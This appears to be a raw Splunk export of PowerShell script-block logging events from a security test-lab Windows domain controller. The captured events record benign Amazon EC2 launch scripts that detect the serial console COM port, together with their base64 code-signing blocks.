# d3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hBMiBBc3N1cmVk
# IElEIFRpbWVzdGFtcGluZyBDQQIQDUJK4L46iP9gQCHOFADw3TANBglghkgBZQME
# AgEFAKCB0TAaBgkqhkiG9w0BCQMxDQYLKoZIhvcNAQkQAQQwHAYJKoZIhvcNAQkF
# MQ8XDTIyMDEzMTE4NTAxNVowKwYLKoZIhvcNAQkQAgwxHDAaMBgwFgQU4deCqOGR
# vu9ryhaRtaq0lKYkm/MwLwYJKoZIhvcNAQkEMSIEIHVU9Tp5WiHa4lf1x+NncuGn
# KGaY7f4dShZtz3YOFrFtMDcGCyqGSIb3DQEJEAIvMSgwJjAkMCIEILMQkAa8CtmD
# B5FXKeBEA0Fcg+MpK2FPJpZMjTVx7PWpMA0GCSqGSIb3DQEBAQUABIIBACyabBW3
# PWgwEia4yrgSTyu+k2emUA6WPcT8ON6H6je2L31xSd+cx9F75ap3AGnM92VYkVPm
# lspoT4EAYF9zxhDNPrgUI/Iey/kBOhFQoFI8FK6nIlFBxWrpUu9n62vXXdLMZfL9
# gCpCGN63luDHYMQsyDNo6OS/47HT/I248JA9QIJT/k/cwEN+NXQcZyCNKx4nzRdG
# 6PneEUogwkmDqIZuBAW7yPXD5BZsAgUKInIuGQfjj4ZoZEU1e1C1DyhyPmA8YOIk
# d2Sy+DYdLrWAPMx+jRkjkiOdv/U5e3XM0/jKBxPxjpBzZFMMq3+Sh78p54+0JZSK
# HFQ/8DlNhx2lScs=
# SIG # End signature block
a20e07de-9346-48da-8f42-f484ae05462fC:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Send-FeatureStatus.ps1","2022-05-02T13:04:09.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",120611,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,120611,win,224,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0004-0E44-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11# Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
# version 1.0.0.1
# For platforms where in the PCIe UART (described in ACPI SPCR)
# gets mapped to a different symbolic link COMx (where x != 1),
# the below function discovers the corresponding COMx and returns it.
# Read ACPI SPCR table to find the Device Information for the PCIe UART
# AWSReadAcpiSpcr.exe is a Win32 console which uses the ACPI Table info
# to extract the right COM Port to use.
#
# Function to return the B/D/F for the passed LocationInformation
# from RegistryHive
#
function FindBDF
{
param([string]$LocationInfo)
[hashtable]$result = @{}
[void]($LocationInfo -match ""\d{1,},\d{1,},\d{1,}"")
$busId,$deviceID,$functionID = $matches[0] -split "",""
$result.busId = $busId
$result.deviceID = $deviceID
$result.functionID = $functionID
return $result
}
#
# This function takes all of the information from ACPI SPCR
# and returns the matching MF device.
#
function FindMatchingPCISerialDevice
{
param([string]$VendId,
[string]$DeviceId,
[string]$PCIBusId,
[string]$PCIDeviceId,
[string]$PCIFunctionId)
try
{
#PCI info needs to be converted to base 10 for downstream compare
$PCIBusId = [Convert]::ToInt64($PCIBusId,16)
$PCIDeviceId = [Convert]::ToInt64($PCIDeviceId,16)
$PCIFunctionId = [Convert]::ToInt64($PCIFunctionId,16)
$DeviceIdSubstring = ""VEN_"" + $VendId + ""&"" + ""DEV_"" + $DeviceId
[string]$MFDeviceIdSubstring = ''
$MatchingMFDevice = $null
$locationInfo = $null
Get-WmiObject -Query 'Select * from Win32_PnPEntity' | Where-Object { $_.deviceID -match $DeviceIdSubstring } |
ForEach-Object -Process {
if ($_.deviceID.StartsWith(""PCI""))
{
$DevId = $_.deviceID
$locationInfo = (Get-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Enum\$DevId"" `
-Name LocationInformation).LocationInformation
if ($locationInfo -eq $null)
{
continue
}
# Retrieve BDF values
$DeviceBDF = FindBDF $locationInfo
if (($DeviceBDF.busId -eq $PCIBusId) -and ($DeviceBDF.deviceID -eq $PCIDeviceId) -and ($DeviceBDF.functionID -eq $PCIFunctionId))
{
# Matching device found which matches all the parameters from SPCR
# Retrieve the substring after the prefix PCI/ and exclude the child portion
# This is then used to search under the MF device tree
$MFDeviceIdSubstring = $DevId.Split(""\"")[1]
}
}
}
if ($MFDeviceIdSubstring -eq '')
{
return $MatchingMFDevice
}
else
{
Get-WmiObject -Query 'Select * from Win32_PnPEntity' | Where-Object { $_.deviceID -match $MFDeviceIdSubstring } |
ForEach-Object -Process {
# Device must be belong to the MF tree
if ($_.deviceID.StartsWith(""MF""))
{
$MatchingMFDevice = $_
}
}
}
}
catch
{
Write-ErrorLog ""Unexpected Error during MF device lookup.""
return $MatchingMFDevice
}
return $MatchingMFDevice
}
# This function reads the SPCR table and then uses that
# information to return the mapped COM port.
#
function Get-ConsolePort ()
{
# Default COM port is COM1
$DefaultTargetPortName = ""COM1""
if ([Environment]::OSVersion.Version.Major -lt 6)
{
# Do not run this code on Major versions less than 6
return $DefaultTargetPortName
}
try
{
$SPCRReaderExeDir = ""$env:ProgramData\Amazon\EC2-Windows\Launch\Scripts""
if (Test-Path -Path $SPCRReaderExeDir)
{
$SPCRReaderExePath = Join-Path $SPCRReaderExeDir ""AWSAcpiSpcrReader.exe""
$SPCROutput = cmd /c $SPCRReaderExePath
# Parse the SPCR output and extract key fields such as Vendor ID, Device ID, BDF.
$Dictionary = @{}
if ($SPCROutput -match 'SPCR table signature')
{
foreach ($line in $SPCROutput)
{
$key,$value = $line.Trim().Split(':')
$Dictionary[$key.Trim()] = $value.Trim()
}
if (!($Dictionary.ContainsKey(""VendorId"") -and $Dictionary.ContainsKey(""DeviceID"")))
{
Write-Log ""Missing Vendor ID or device ID""
return $DefaultTargetPortName
}
if (!($Dictionary.ContainsKey(""Bus"") -and $Dictionary.ContainsKey(""Device"") -and $Dictionary.ContainsKey(""Function"")))
{
Write-Log ""Missing Bus or Device of Function""
return $DefaultTargetPortName
}
# Check if a matching MF device does exit
$Device = FindMatchingPCISerialDevice $Dictionary[""VendorID""] $Dictionary[""DeviceID""] $Dictionary[""Bus""] $Dictionary[""Device""] $Dictionary[""Function""]
if ($Device -eq $null)
{
Write-Log ""No Matching UART device found""
return $DefaultTargetPortName
}
else
{
$PortKey = ""HKLM:\SYSTEM\CurrentControlSet\Enum\"" + $Device.deviceID + ""\Device Parameters""
$Port = Get-ItemProperty -Path $PortKey -Name PortName -ErrorAction SilentlyContinue
if (($Port -eq $null) -or ($Port.Length -eq 0) -or ($Port.PortName.Length -eq 0))
{
Write-Log ""COM PortName is not valid""
return $DefaultTargetPortName
}
else
{
# Found a matching COM port in the ENUM registry hive.
Write-Log ""Matching UART device found""
$TargetPortName = $Port.PortName
return $TargetPortName
}
}
}
else
{
Write-Log ""ACPI SPCR table not found. Bailing Out""
return $DefaultTargetPortName
}
}
else
{
Write-Log 'SPCR reader Exe is not present. Exiting'
return $DefaultTargetPortName
}
}
catch
{
Write-ErrorLog ""Unexpected Error. Return the default Port COM1""
return $DefaultTargetPortName
}
return $DefaultTargetPortName
}
# SIG # Begin signature block
# MIIfJgYJKoZIhvcNAQcCoIIfFzCCHxMCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDAG9uW3/eFRmFa
# EO3rB6vSSKBF9Q93vE07HWSnhrQi/6CCDlUwggawMIIEmKADAgECAhAIrUCyYNKc
# TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV
# BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z
# NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
# ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0
# JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr
# Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF
# LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F
# LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh
# 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ
# wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay
# g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI
# YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp
# QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro
# OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB
# WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+
# YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P
# AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk
# BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC
# hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v
# dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED
# MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql
# +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF
# UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h
# mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw
# YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld
# AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw
# 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP
# LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE
# QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn
# KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji
# WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq
# yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G
# CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz
# MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr
# BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV
# BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw
# DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ
# bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl
# cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ
# u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W
# JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU
# faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J
# A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s
# 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF
# i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0
# IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA
# DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB
# AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV
# HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI
# A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud
# JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz
# LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5
# NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx
# Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6
# Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB
# BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0
# cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp
# Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq
# hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ
# 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd
# 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk
# S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH
# eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5
# vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR
# LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW
# /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O
# gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy
# +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M
# QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx
# ghAnMIIQIwIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI
# AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB
# BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B
# CQQxIgQgNRYYX+yBcgph0JJAPDw7gwiMEJrrjRcqXVf55jy8bUEwDQYJKoZIhvcN
# AQEBBQAEggGAELMUrwD/N8gSzLQa71zPb4bnSOWsjTkIchJTBaGiXuxft4M2rxx7
# wAuM7J/wGsMOHLpMYePJZLwsPhy1La9qMJ74ZOu1iFtsND70FIOmCrl5+fbu80TK
# D6Z2zYilSVugCUqGeJ+oF8dkkcQ7t5LkXp5RhmkOLuW8uPQvW/572wW3VGd1VLTi
# 51riuahbBomic8j6CPblOATomOsK02jo87XHwBPNzKTNJ3v3RRb0q7SNm9EpLVn5
# EMUoQQDXlFR+UsBLf/BJYCNlZ8hKp5ttlMmEl0QL89OPgH6SUCDidrWe/QJaRpdk
# KW7kFEfvveAZ8Bkw96hlEGAbQimaJ8zd5CiYI++mkp61OuoGPn54xS3CL2OSU1yD
# HBjmciydk4CrqVgQfE4ejL0edkY4SXhkmYzcCh2sswRdKfHzLu4hB/hAEDazDBnE
# pczXYloWGoS0NaV4skTJwQ4+hUaBj9dHkUDycJuN12K/nFmdVTcB/i9UIpVH39jW
# GU0muKQ9IPHMoYINfTCCDXkGCisGAQQBgjcDAwExgg1pMIINZQYJKoZIhvcNAQcC
# oIINVjCCDVICAQMxDzANBglghkgBZQMEAgEFADB3BgsqhkiG9w0BCRABBKBoBGYw
# ZAIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEIIYGXvxZyyv+VIV8s/gE
# qaVbfDzv6dtR+/kWV7QL+jS3AhAZbVmt2CwLBMH+8ODRVMyPGA8yMDIyMDEzMTE4
# NDkzMVqgggo3MIIE/jCCA+agAwIBAgIQDUJK4L46iP9gQCHOFADw3TANBgkqhkiG
# 9w0BAQsFADByMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkw
# FwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMTEwLwYDVQQDEyhEaWdpQ2VydCBTSEEy
# IEFzc3VyZWQgSUQgVGltZXN0YW1waW5nIENBMB4XDTIxMDEwMTAwMDAwMFoXDTMx
# MDEwNjAwMDAwMFowSDELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0LCBJ
# bmMuMSAwHgYDVQQDExdEaWdpQ2VydCBUaW1lc3RhbXAgMjAyMTCCASIwDQYJKoZI
# hvcNAQEBBQADggEPADCCAQoCggEBAMLmYYRnxYr1DQikRcpja1HXOhFCvQp1dU2U
# tAxQtSYQ/h3Ib5FrDJbnGlxI70Tlv5thzRWRYlq4/2cLnGP9NmqB+in43Stwhd4C
# GPN4bbx9+cdtCT2+anaH6Yq9+IRdHnbJ5MZ2djpT0dHTWjaPxqPhLxs6t2HWc+xO
# bTOKfF1FLUuxUOZBOjdWhtyTI433UCXoZObd048vV7WHIOsOjizVI9r0TXhG4wOD
# MSlKXAwxikqMiMX3MFr5FK8VX2xDSQn9JiNT9o1j6BqrW7EdMMKbaYK02/xWVLwf
# oYervnpbCiAvSwnJlaeNsvrWY4tOpXIc7p96AXP4Gdb+DUmEvQECAwEAAaOCAbgw
# ggG0MA4GA1UdDwEB/wQEAwIHgDAMBgNVHRMBAf8EAjAAMBYGA1UdJQEB/wQMMAoG
# CCsGAQUFBwMIMEEGA1UdIAQ6MDgwNgYJYIZIAYb9bAcBMCkwJwYIKwYBBQUHAgEW
# G2h0dHA6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAfBgNVHSMEGDAWgBT0tuEgHf4p
# rtLkYaWyoiWyyBc1bjAdBgNVHQ4EFgQUNkSGjqS6sGa+vCgtHUQ23eNqerwwcQYD
# VR0fBGowaDAyoDCgLoYsaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL3NoYTItYXNz
# dXJlZC10cy5jcmwwMqAwoC6GLGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEy
# LWFzc3VyZWQtdHMuY3JsMIGFBggrBgEFBQcBAQR5MHcwJAYIKwYBBQUHMAGGGGh0
# dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBPBggrBgEFBQcwAoZDaHR0cDovL2NhY2Vy
# dHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMkFzc3VyZWRJRFRpbWVzdGFtcGlu
# Z0NBLmNydDANBgkqhkiG9w0BAQsFAAOCAQEASBzctemaI7znGucgDo5nRv1CclF0
# CiNHo6uS0iXEcFm+FKDlJ4GlTRQVGQd58NEEw4bZO73+RAJmTe1ppA/2uHDPYuj1
# UUp4eTZ6J7fz51Kfk6ftQ55757TdQSKJ+4eiRgNO/PT+t2R3Y18jUmmDgvoaU+2Q
# zI2hF3MN9PNlOXBL85zWenvaDLw9MtAby/Vh/HUIAHa8gQ74wOFcz8QRcucbZEnY
# Ipp1FUL1LTI4gdr0YKK6tFL7XOBhJCVPst/JKahzQ1HavWPWH1ub9y4bTxMd90oN
# cX6Xt/Q/hOvB46NJofrOp79Wz7pZdmGJX36ntI5nePk2mOHLKNpbh6aKLzCCBTEw
# ggQZoAMCAQICEAqhJdbWMht+QeQF2jaXwhUwDQYJKoZIhvcNAQELBQAwZTELMAkG
# A1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRp
# Z2ljZXJ0LmNvbTEkMCIGA1UEAxMbRGlnaUNlcnQgQXNzdXJlZCBJRCBSb290IENB
# MB4XDTE2MDEwNzEyMDAwMFoXDTMxMDEwNzEyMDAwMFowcjELMAkGA1UEBhMCVVMx
# FTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNv
# bTExMC8GA1UEAxMoRGlnaUNlcnQgU0hBMiBBc3N1cmVkIElEIFRpbWVzdGFtcGlu
# ZyBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3QMu5LzY9/3am6
# gpnFOVQoV7YjSsQOB0UzURB90Pl9TWh+57ag9I2ziOSXv2MhkJi/E7xX08PhfgjW
# ahQAOPcuHjvuzKb2Mln+X2U/4Jvr40ZHBhpVfgsnfsCi9aDg3iI/Dv9+lfvzo7oi
# PhisEeTwmQNtO4V8CdPuXciaC1TjqAlxa+DPIhAPdc9xck4Krd9AOly3UeGheRTG
# TSQjMF287DxgaqwvB8z98OpH2YhQXv1mblZhJymJhFHmgudGUP2UKiyn5HU+upgP
# hH+fMRTWrdXyZMt7HgXQhBlyF/EXBu89zdZN7wZC/aJTKk+FHcQdPK/P2qwQ9d2s
# rOlW/5MCAwEAAaOCAc4wggHKMB0GA1UdDgQWBBT0tuEgHf4prtLkYaWyoiWyyBc1
# bjAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzASBgNVHRMBAf8ECDAG
# AQH/AgEAMA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDCDB5Bggr
# BgEFBQcBAQRtMGswJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNv
# bTBDBggrBgEFBQcwAoY3aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lD
# ZXJ0QXNzdXJlZElEUm9vdENBLmNydDCBgQYDVR0fBHoweDA6oDigNoY0aHR0cDov
# L2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0QXNzdXJlZElEUm9vdENBLmNybDA6
# oDigNoY0aHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0QXNzdXJlZElE
# Um9vdENBLmNybDBQBgNVHSAESTBHMDgGCmCGSAGG/WwAAgQwKjAoBggrBgEFBQcC
# ARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzALBglghkgBhv1sBwEwDQYJ
# KoZIhvcNAQELBQADggEBAHGVEulRh1Zpze/d2nyqY3qzeM8GN0CE70uEv8rPAwL9
# xafDDiBCLK938ysfDCFaKrcFNB1qrpn4J6JmvwmqYN92pDqTD/iy0dh8GWLoXoIl
# HsS6HHssIeLWWywUNUMEaLLbdQLgcseY1jxk5R9IEBhfiThhTWJGJIdjjJFSLK8p
# ieV4H9YLFKWA1xJHcLN11ZOFk362kmf7U2GJqPVrlsD0WGkNfMgBsbkodbeZY4Ui
# jGHKeZR+WfyMD+NvtQEmtmyl7odRIeRYYJu6DC0rbaLEfrvEJStHAgh8Sa4TtuF8
# QkIoxhhWz0E0tmZdtnR79VYzIi8iNrJLokqV2PWmjlIxggKGMIICggIBATCBhjBy
# MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
# d3cuZGlnaWNlcnQuY29tMTEwLwYDVQQDEyhEaWdpQ2VydCBTSEEyIEFzc3VyZWQg
# SUQgVGltZXN0YW1waW5nIENBAhANQkrgvjqI/2BAIc4UAPDdMA0GCWCGSAFlAwQC
# AQUAoIHRMBoGCSqGSIb3DQEJAzENBgsqhkiG9w0BCRABBDAcBgkqhkiG9w0BCQUx
# DxcNMjIwMTMxMTg0OTMxWjArBgsqhkiG9w0BCRACDDEcMBowGDAWBBTh14Ko4ZG+
# 72vKFpG1qrSUpiSb8zAvBgkqhkiG9w0BCQQxIgQg/Aq7cfjWAG+SqIKXXSJ0OUuj
# 50WS5uZV1pBpZThWiK8wNwYLKoZIhvcNAQkQAi8xKDAmMCQwIgQgsxCQBrwK2YMH
# kVcp4EQDQVyD4ykrYU8mlkyNNXHs9akwDQYJKoZIhvcNAQEBBQAEggEAeNa1K3NJ
# vKK49m5FzMUSVIyFJH9NKC0Z4UtnEaC1gtEzhVn5jYntDNWn//cpH+75SkHe10ba
# OWyYhDifIfnBCvXSgRTL1knTvcsma+L1UH7czYxSt5C6MEawl1JF9W/8zBVKzIU8
# FEsAmTcZGET4jqwOpOKyq+ZMc1/Vv1GNoWm4emZZInAgvnR/CLnCbNYe42tnPsq9
# KYdgp4sph4VAOgFgQXfFVCF2Ow7IoR4OtWyBW8S00neO2jMy1XRjxL1qda1yAh9o
# rGSW25/MnPBBXlo+kxYkdyB8I25Id1JmonzZlea8P2WvRzwk8jROUbSpLiP1RrMx
# 8cvMXomZlpVSpA==
# SIG # End signature block
45ff29a9-4832-467a-b95e-08f5dd205aa0C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Get-ConsolePort.ps1",,4104,120530,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,5,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Get-ConsolePort.ps1",,,"'5652'",,,,,,120530,,,,"45ff29a9-4832-467a-b95e-08f5dd205aa0","# Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
# version 1.0.0.1
# For platforms where in the PCIe UART (described in ACPI SPCR)
# gets mapped to a different symbolic link COMx (where x != 1),
# the below function discovers the corresponding COMx and returns it.
# Read ACPI SPCR table to find the Device Information for the PCIe UART
# AWSReadAcpiSpcr.exe is a Win32 console which uses the ACPI Table info
# to extract the right COM Port to use.
#
# Function to return the B/D/F for the passed LocationInformation
# from RegistryHive
#
function FindBDF
{
param([string]$LocationInfo)
[hashtable]$result = @{}
